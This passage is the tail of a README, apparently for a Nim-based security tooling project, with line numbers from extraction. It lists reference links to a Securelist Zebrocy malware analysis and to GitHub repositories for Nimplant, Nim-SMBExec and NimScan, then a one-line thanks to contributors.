https://securelist.com/zebrocys-multilanguage-malware-salad/90680/ 358 | - https://github.com/MythicAgents/Nimplant 359 | - https://github.com/elddy/Nim-SMBExec 360 | - https://github.com/elddy/NimScan 361 | 362 | ## Contributors 363 | 364 | Virtual hug to everyone who contributed ❤️ 365 | 366 | 367 | 368 | 369 | --------------------------------------------------------------------------------